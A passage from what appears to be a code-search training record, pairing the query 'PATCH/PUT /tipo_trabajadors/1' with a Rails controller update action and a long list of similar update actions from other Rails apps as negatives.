"0.5528373",
"0.55240273",
"0.5522501",
"0.55220515"
] |
0.6867104
|
0
|
PATCH/PUT /tipo_trabajadors/1 PATCH/PUT /tipo_trabajadors/1.json
|
def update
respond_to do |format|
if @tipo_trabajador.update(tipo_trabajador_params)
format.html { redirect_to @tipo_trabajador, notice: 'Tipo trabajador was successfully updated.' }
format.json { render :show, status: :ok, location: @tipo_trabajador }
else
format.html { render :edit }
format.json { render json: @tipo_trabajador.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n authorize! :update, Tipo\n respond_to do |format|\n if @tipo.update(tipo_params)\n log(\"Se ha editado la nomina #{@lt}\", 1)\n format.html { redirect_to tipos_path, notice: 'Los datos de la nómina fueron actualizados exitosamente.' }\n format.json { head :no_content }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trabajo.update(trabajo_params)\n format.html { redirect_to cliente_path(@cliente), notice: 'Trabajo was successfully updated.' }\n format.json { render :show, status: :ok, location: cliente_trabajo_path(@cliente, @trabajo) }\n else\n format.html { render :edit }\n format.json { render json: @trabajo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, Tipo\n respond_to do |format|\n if @tipo.update(tipo_params)\n format.html { redirect_to tipos_path, notice: '<i class=\"fa fa-check-square fa-lg\"></i> Los datos de la nómina fueron actualizados exitosamente.' }\n format.json { head :no_content }\n end\n end\n end",
"def update\n @tipo_contrato = TipoContrato.find(params[:id])\n\n respond_to do |format|\n if @tipo_contrato.update_attributes(params[:tipo_contrato])\n format.html { redirect_to tipo_contratos_path, notice: 'Tipo de contrato atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_contrato.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipoapreensao.update(tipoapreensao_params)\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @persona_tipo = PersonaTipo.find(params[:id])\n\n respond_to do |format|\n if @persona_tipo.update_attributes(params[:persona_tipo])\n format.html { redirect_to @persona_tipo, notice: 'Tipo de participante actualizado correctamente.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @persona_tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n @lancamentorapido = Lancamentorapido.find(params[:id]) \n \n #Validações padrão\n @lancamentorapido.tipo = :receita if @lancamentorapido.tipo.blank?\n @lancamentorapido.valor = 0 if @lancamentorapido.valor.blank? \n \n\n respond_to do |format|\n if @lancamentorapido.update_attributes(params[:lancamentorapido])\n format.html { redirect_to lancamentorapidos_path, notice: 'Lancamento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lancamentorapido.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trabajo.update(trabajo_params)\n format.html { redirect_to @trabajo, notice: 'Trabajo was successfully updated.' }\n format.json { render :show, status: :ok, location: @trabajo }\n else\n format.html { render :edit }\n format.json { render json: @trabajo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tiposveiculo.update(tiposveiculo_params)\n format.html { redirect_to tiposveiculos_url, notice: 'Tipo de Veículo editado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @tiposveiculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, Concepto\n if params[:concepto][:tipo_ids]\n params[:concepto][:tipo_ids] = params[:concepto][:tipo_ids].map { |k, _v| k }\n else\n params[:concepto][:tipo_ids] = []\n end\n\n respond_to do |format|\n if @concepto.update(concepto_params)\n\n\n format.html { redirect_to @concepto, notice: '<i class=\"fa fa-check-square fa-lg\"></i> Los datos del concepto fueron actualizados exitosamente.' }\n format.json { render :show, status: :ok, location: @concepto }\n else\n format.html { render :edit } if params[:concepto][:tipo_ids]\n format.json { render json: @concepto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:laboratorio][:activo]\n id = params[:id]\n Laboratorio.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n\t\t respond_to do |format|\n\t\t if @trabajo.update(trabajo_params)\n\t\t format.html { redirect_to admin_trabajos_path, notice: 'El Trabajo se ha actualizado.' }\n\t\t format.json { render :show, status: :ok, location: @trabajo }\n\t\t else\n\t\t format.html { render :edit }\n\t\t format.json { render json: @trabajo.errors, status: :unprocessable_entity }\n\t\t end\n\t\t end\n\t\t end",
"def update\n respond_to do |format|\n if @treinamento_ti.update(treinamento_ti_params)\n format.html { redirect_to @treinamento_ti, notice: 'Treinamento de TI atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @treinamento_ti.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_persona.update(tipo_persona_params)\n format.html { redirect_to @tipo_persona, notice: 'Tipo persona was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_persona }\n else\n format.html { render :edit }\n format.json { render json: @tipo_persona.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @territorio = Territorio.find(params[:id])\n\n respond_to do |format|\n if @territorio.update_attributes(params[:territorio])\n format.html { redirect_to @territorio, notice: 'Territorio was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @territorio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_tel = TipoTel.find(params[:id])\n\n respond_to do |format|\n if @tipo_tel.update_attributes(params[:tipo_tel])\n format.html { redirect_to @tipo_tel, notice: 'Tipo tel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_tel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(tabla_params)\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Tabla was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n\n if @os_tarefa.update(os_tarefa_params)\n #se as situacao da tarefa nao for aceita, altera a ordem_servico_pagamento para null\n if(@os_tarefa.situacao!=OsTarefa.situacoes[0] && @os_tarefa.situacao!=OsTarefa.situacoes[1])\n\n @os_tarefa.ordem_servico_pagamento=nil\n @os_tarefa.save\n end\n\n if @os_tarefa.ordem_servico.id!=nil\n format.html { redirect_to \"/ordem_servicos/\"+@os_tarefa.ordem_servico.id.to_s, notice: 'A Tarefa foi atualizado(a)' }\n format.json { head :no_content }\n else\n format.html { redirect_to @os_tarefa, notice: 'A Tarefa foi atualizado(a)' }\n format.json { render :show, status: :ok, location: @os_tarefa }\n end\n else\n format.html { render :edit }\n format.json { render json: @os_tarefa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_orden.update(tipo_orden_params)\n format.html { redirect_to @tipo_orden, notice: 'Tipo orden was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_orden }\n else\n format.html { render :edit }\n format.json { render json: @tipo_orden.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @solicitacao_tipo.update(solicitacao_tipo_params)\n format.html { redirect_to @solicitacao_tipo, notice: 'Solicitacao tipo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @solicitacao_tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bolsa_trabajo.update(bolsa_trabajo_params)\n format.html { redirect_to @bolsa_trabajo, notice: 'Bolsa trabajo was successfully updated.' }\n format.json { render :show, status: :ok, location: @bolsa_trabajo }\n else\n format.html { render :edit }\n format.json { render json: @bolsa_trabajo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_usuario = TipoUsuario.find(params[:id])\n\n respond_to do |format|\n if @tipo_usuario.update_attributes(params[:tipo_usuario])\n format.html { redirect_to @tipo_usuario, notice: 'Tipo usuario fue actualizado existosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n if @tecnico.update_attributes(params[:tecnico])\n format.html { redirect_to @tecnico, notice: 'Tecnico atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tecnico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #parametros_autocomplete!(params[:estudiante][:persona])\n @estudiante = Estudiante.find(params[:id])\n \n begin\n @estudiante.persona_id = params[:persona][:id]\n rescue\n end\n\n respond_to do |format|\n if @estudiante.update_attributes(params[:estudiante])\n format.html { redirect_to @estudiante, notice: 'Estudiante actualizado' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @estudiante.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_compra.update(tipo_compra_params)\n format.html { redirect_to @tipo_compra, notice: 'Tipo compra was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_compra }\n else\n format.html { render :edit }\n format.json { render json: @tipo_compra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @telefononegocio = Telefononegocio.find(params[:id])\n\n respond_to do |format|\n if @telefononegocio.update_attributes(params[:telefononegocio])\n format.html { redirect_to @telefononegocio, notice: 'Telefononegocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @telefononegocio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trabalho = Trabalho.find(params[:id])\n @trabalho.user = current_user\n\n respond_to do |format|\n if @trabalho.update_attributes(params[:trabalho])\n format.html { redirect_to @trabalho, notice: 'Oferta de Trabalho foi atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trabalho.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_fornecedor.update(tipo_fornecedor_params)\n format.html { redirect_to tenant_tipo_fornecedors_path(tenant_id: @tenant.id), notice: 'Tipo fornecedor was successfully updated.' }\n\n else\n format.html { render :edit }\n format.json { render json: @tipo_fornecedor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trnodo = Trnodo.find(params[:id])\n\n respond_to do |format|\n if @trnodo.update_attributes(params[:trnodo])\n format.html { redirect_to @trnodo, notice: 'Trnodo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trnodo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_actividad = TipoActividad.find(params[:id])\n\n respond_to do |format|\n if @tipo_actividad.update_attributes(params[:tipo_actividad])\n format.html { redirect_to @tipo_actividad, notice: 'Tipo actividad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_actividad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n if @tecnico.update_attributes(params[:tecnico])\n format.html { redirect_to @tecnico, :notice => 'Tecnico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @tecnico.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_pregunta = TipoPregunta.find(params[:id])\n\n if @tipo_pregunta.update(params[:tipo_pregunta])\n head :no_content\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end",
"def update\n\n\n respond_to do |format|\n if @orden_trabajo.update(orden_trabajo_params)\n format.html { redirect_to @orden_trabajo, notice: 'La orden trabajo se edito correctamente.' }\n format.json { render :show, status: :ok, location: @orden_trabajo }\n else\n format.html { render :edit }\n format.json { render json: @orden_trabajo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tatoo.update(tatoo_params)\n format.html { redirect_to tatoos_path, notice: 'Tatoo was successfully updated.' }\n format.json { render :show, status: :ok, location: @tatoo }\n else\n format.html { render :edit }\n format.json { render json: @tatoo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tapioca.update(tapioca_params)\n format.html { redirect_to @tapioca, notice: 'Tapioca was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tapioca.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipomedalla = Tipomedalla.find(params[:id])\n\n respond_to do |format|\n if @tipomedalla.update_attributes(params[:tipomedalla])\n format.html { redirect_to @tipomedalla, notice: 'Tipomedalla was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipomedalla.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_contrato = TipoContrato.find(params[:id])\n respond_to do |format|\n if @tipo_contrato.update_attributes(params[:tipo_contrato])\n flash[:notice] = 'TiposContratos actualizado correctamente.'\n format.html { redirect_to(@tipo_contrato) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipo_contrato.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @nota_trab.update(nota_trab_params)\n format.html { redirect_to @nota_trab, notice: 'Nota trab was successfully updated.' }\n format.json { render :show, status: :ok, location: @nota_trab }\n else\n format.html { render :edit }\n format.json { render json: @nota_trab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n params[:trabajador][:rut] = RUT::format(params[:trabajador][:rut])\n\n respond_to do |format|\n if @trabajador.update(trabajador_params)\n format.html { redirect_to @trabajador, notice: 'Trabajador was successfully updated.' }\n format.json { render :show, status: :ok, location: @trabajador }\n else\n format.html { render :edit }\n format.json { render json: @trabajador.errors, status: :unprocessable_entity }\n end\n end\n end",
"def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end",
"def update\n respond_to do |format|\n if @tipo_unidad.update(tipo_unidad_params)\n format.html { redirect_to @tipo_unidad, notice: 'Tipo unidad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipo_unidad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to [:admin, @oferta], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_vehiculo = TipoVehiculo.find(params[:id])\n\n respond_to do |format|\n if @tipo_vehiculo.update_attributes(params[:tipo_vehiculo])\n format.html { redirect_to @tipo_vehiculo, notice: 'Tipo vehiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_vehiculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_telefone = TipoTelefone.find(params[:id])\n\n respond_to do |format|\n if @tipo_telefone.update_attributes(params[:tipo_telefone])\n flash[:notice] = 'TipoTelefone was successfully updated.'\n format.html { redirect_to(@tipo_telefone) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipo_telefone.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tarefa.update(tarefa_params)\n format.html { redirect_to @tarefa, notice: 'Tarefa editada com sucesso.' }\n format.json { render :show, status: :ok, location: @tarefa }\n else\n format.html { render :edit }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tareas = Tarea.all\n @tareapositivas = Tarea.where(listo: true)\n respond_to do |format|\n if @tarea.update(tarea_params)\n format.html { redirect_to root_path, notice: 'Tarea was successfully updated.' }\n format.json { render :show, status: :ok, location: @tarea }\n else\n format.html { render :edit }\n format.json { render json: @tarea.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_tipo_trabajador\n @tipo_trabajador = TipoTrabajador.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @titulacao.update(titulacao_params)\n format.html { redirect_to titulacaos_path, notice: 'Titulo atualizado com successo.' }\n format.json { render titulacaos_path, status: :ok, location: titulacaos_path }\n else\n format.html { render :edit }\n format.json { render json: @titulacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_negocio = TipoNegocio.find(params[:id])\n\n respond_to do |format|\n if @tipo_negocio.update_attributes(params[:tipo_negocio])\n format.html { redirect_to @tipo_negocio, notice: 'Tipo negocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_negocio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipovestuario.update(tipovestuario_params)\n format.html { redirect_to @tipovestuario, notice: 'Tipovestuario was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipovestuario }\n else\n format.html { render :edit }\n format.json { render json: @tipovestuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @realiza = Realiza.find(params[:id])\n @pagamento=Pagamento.new(:servico_id=>@realiza.servico_id,:cliente_id=>@realiza.cliente_id,:valor=>@realiza.servico.preco,\n :formapagamentoe_id=>params[:pagamento])\n respond_to do |format|\n if @realiza.update_attributes(params[:realiza]) and @pagamento.save\n format.html { redirect_to @realiza, notice: 'Realiza was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @realiza.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_de_imposto.update(tipo_de_imposto_params)\n format.html { redirect_to @empresa, notice: 'Tipo de imposto actualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @tipo_de_imposto }\n else\n format.html { render :edit }\n format.json { render json: @tipo_de_imposto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @tipo_recibo.update_attributes(params[:tipo_recibo])\n format.html { redirect_to(@tipo_recibo, :notice => 'Tipo recibo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipo_recibo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @torso = Torso.find(params[:id])\n\n respond_to do |format|\n if @torso.update_attributes(params[:torso])\n format.html { redirect_to @torso, notice: 'Torso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @torso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_veiculo.update(tipo_veiculo_params)\n format.html { redirect_to @tipo_veiculo, notice: 'Tipo veiculo was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_veiculo }\n else\n format.html { render :edit }\n format.json { render json: @tipo_veiculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n tp = tumor_params\n tp[:tipo_tumor], ad, p = tipo(tp)\n if p == nil\n p=0\n end\n respond_to do |format|\n if @tumor.update(tp)\n format.html { redirect_to @tumor, notice: 'El registro fue actualizado con exito con tipo de tumor => '+tp[:tipo_tumor].capitalize+\n '.<>Arbol de decision:<>'+\n ad+'<>Con un grado de acierto de: '+\n p.to_s+\n ' y un porcentaje de acierto de 83.19%' }\n format.json { render :show, status: :ok, location: @tumor }\n else\n format.html { render :edit }\n format.json { render json: @tumor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_pensum = TipoPensum.find(params[:id])\n\n respond_to do |format|\n if @tipo_pensum.update_attributes(params[:tipo_pensum])\n format.html { redirect_to @tipo_pensum, notice: 'Tipo pensum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_pensum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(tipo_referencia_base_params)\n format.html { redirect_to @objeto, notice: \"Tipo referencia base was successfully updated.\" }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tb_servicio.update(tb_servicio_params)\n format.html { redirect_to @tb_servicio, notice: 'Tb servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @tb_servicio }\n else\n format.html { render :edit }\n format.json { render json: @tb_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_de_servicio.update(tipo_de_servicio_params)\n format.html { redirect_to @tipo_de_servicio, notice: 'Tipo de servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_de_servicio }\n else\n format.html { render :edit }\n format.json { render json: @tipo_de_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tprimarytumor.update(tprimarytumor_params)\n format.html { redirect_to @tprimarytumor, notice: 'tprimarytumor was successfully updated.' }\n format.json { render :show, status: :ok, location: @tprimarytumor }\n else\n format.html { render :edit }\n format.json { render json: @tprimarytumor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n lixotodo_sub = Lixotodo.find(params[:lixotodo_sub_id])\n lixotodo_sub.destroy\n if @lixotodo.update(lixotodo_params)\n refresh_lixotodo_after_edit(@lixotodo)\n format.html {redirect_to populate_lixotodos_path, notice: 'Tabela de lixo atualizada com sucesso.'}\n format.json {render :show, status: :ok, location: @lixotodo}\n else\n format.html {render :edit}\n format.json {render json: @lixotodo.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n @tarefa = Tarefa.find(params[:id])\n\n respond_to do |format|\n if @tarefa.update_attributes(params[:tarefa])\n format.html { redirect_to @tarefa, notice: 'Tarefa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @detalle_orden_trabajo.update(detalle_orden_trabajo_params)\n format.html { redirect_to @detalle_orden_trabajo.orden_trabajo, notice: 'Detalle fue actualizado con éxito.' }\n format.json { render :show, status: :ok, location: @detalle_orden_trabajo }\n else\n format.html { render :edit }\n format.json { render json: @detalle_orden_trabajo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @evolucao_tipo.update(evolucao_tipo_params)\n format.html { redirect_to @evolucao_tipo, notice: 'Evolucao tipo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @evolucao_tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_unidad.update(tipo_unidad_params)\n format.html { redirect_to @tipo_unidad, notice: 'Tipo unidad was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_unidad }\n else\n format.html { render :edit }\n format.json { render json: @tipo_unidad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @core_tipo_unidade = Core::TipoUnidade.find(params[:id])\n\n respond_to do |format|\n if @core_tipo_unidade.update_attributes(params[:core_tipo_unidade])\n format.html { redirect_to @core_tipo_unidade, notice: 'Tipo unidade was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @core_tipo_unidade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_aposta.update(tipo_aposta_params)\n format.html { redirect_to @tipo_aposta, notice: 'Tipo aposta was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_aposta }\n else\n format.html { render :edit }\n format.json { render json: @tipo_aposta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @peticion_servicio_ti = Peticion::ServicioTi.find(params[:id])\n\n respond_to do |format|\n if @peticion_servicio_ti.update_attributes(params[:peticion_servicio_ti])\n format.html { redirect_to edit_peticion_servicio_ti_path(@peticion_servicio_ti), notice: 'Actualizado Correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @peticion_servicio_ti.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\trespond_to do |format|\n\tif @precio_boleto.update(precio_boleto_params)\n\t\tformat.html { redirect_to @precio_boleto, notice: 'Precio boleto was successfully updated.' }\n\t\tformat.json { head :no_content }\n\telse\n\t\tformat.html { render action: 'edit' }\n\t\tformat.json { render json: @precio_boleto.errors, status: :unprocessable_entity }\n\tend\n\tend\nend",
"def update\n respond_to do |format|\n if @telefono.update(telefono_params)\n format.html { redirect_to @telefono, notice: 'Telefono was successfully updated.' }\n format.json { render :show, status: :ok, location: @telefono }\n else\n format.html { render :edit }\n format.json { render json: @telefono.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_atendimento = TipoAtendimento.find(params[:id])\n\n respond_to do |format|\n if @tipo_atendimento.update_attributes(params[:tipo_atendimento])\n format.html { redirect_to @tipo_atendimento, notice: \"Tipo de atendimento: #{@tipo_atendimento.descricao}, foi atualizado com sucesso.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_atendimento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipos_contato.update(tipos_contato_params)\n format.html { redirect_to @tipos_contato, notice: 'Tipos contato was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipos_contato }\n else\n format.html { render :edit }\n format.json { render json: @tipos_contato.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipoocorrencium.update(tipoocorrencium_params)\n format.html { redirect_to @tipoocorrencium, notice: 'Tipoocorrencium was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipoocorrencium }\n else\n format.html { render :edit }\n format.json { render json: @tipoocorrencium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_documento = TipoDocumento.find(params[:id])\n\n respond_to do |format|\n if @tipo_documento.update_attributes(params[:tipo_documento])\n format.html { redirect_to @tipo_documento, notice: 'Tipo documento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_documento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_de_imovel.update(tipo_de_imovel_params)\n format.html { redirect_to @tipo_de_imovel, notice: 'Tipo de imovel was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_de_imovel }\n else\n format.html { render :edit }\n format.json { render json: @tipo_de_imovel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipoenvolvido.update(tipoenvolvido_params)\n format.html { redirect_to @tipoenvolvido, notice: 'Tipoenvolvido was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoenvolvido.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @tarefa.update(tarefa_params)\n format.html { redirect_to @tarefa, notice: 'Tarefa atualizada com sucesso!' }\n format.json { render :show, status: :ok, location: @tarefa }\n else\n format.html { render :edit , @current_usuario => current_usuario}\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @topico.update(topico_params)\n format.html { redirect_to set_path, notice: 'Tópico atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @topico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tiempo.update(tiempo_params)\n format.html { redirect_to @tiempo, notice: 'Tiempo was successfully updated.' }\n format.json { render :show, status: :ok, location: @tiempo }\n else\n format.html { render :edit }\n format.json { render json: @tiempo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n obtener_datos()\n @status = params[:statusproyect]\n @cliente = params[:cliente] + \" \" +params[:cliente_apellido]\n respond_to do |format|\n if @ventum.update(cliente: @cliente, clave:@clave, fecha:@fecha, iva:@iva,subtotal:@preciofinal ,total:@totalcosto, descuentogeneral: @descglobal , distribuidor: @distribuidor, status: @status)\n @detail.each do |x|\n x.destroy\n end\n salvar()\n format.html { redirect_to @ventum, notice: 'Venta actualizada correctamente.' }\n format.json { render :show, status: :ok, location: @ventum }\n else\n format.html { render :edit }\n format.json { render json: @ventum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @titulacion.update(titulacion_params)\n format.html { redirect_to @titulacion, notice: 'Titulacion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @titulacion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_cancha.update(tipo_cancha_params)\n format.html { redirect_to @tipo_cancha, notice: 'Tipo cancha was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_cancha }\n else\n format.html { render :edit }\n format.json { render json: @tipo_cancha.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tema_modulo.update(tema_modulo_params)\n format.html { redirect_to @tema_modulo, notice: 'Tema modulo was successfully updated.' }\n format.json { render :show, status: :ok, location: @tema_modulo }\n else\n format.html { render :edit }\n format.json { render json: @tema_modulo.errors, status: :unprocessable_entity }\n end\n end\n end",
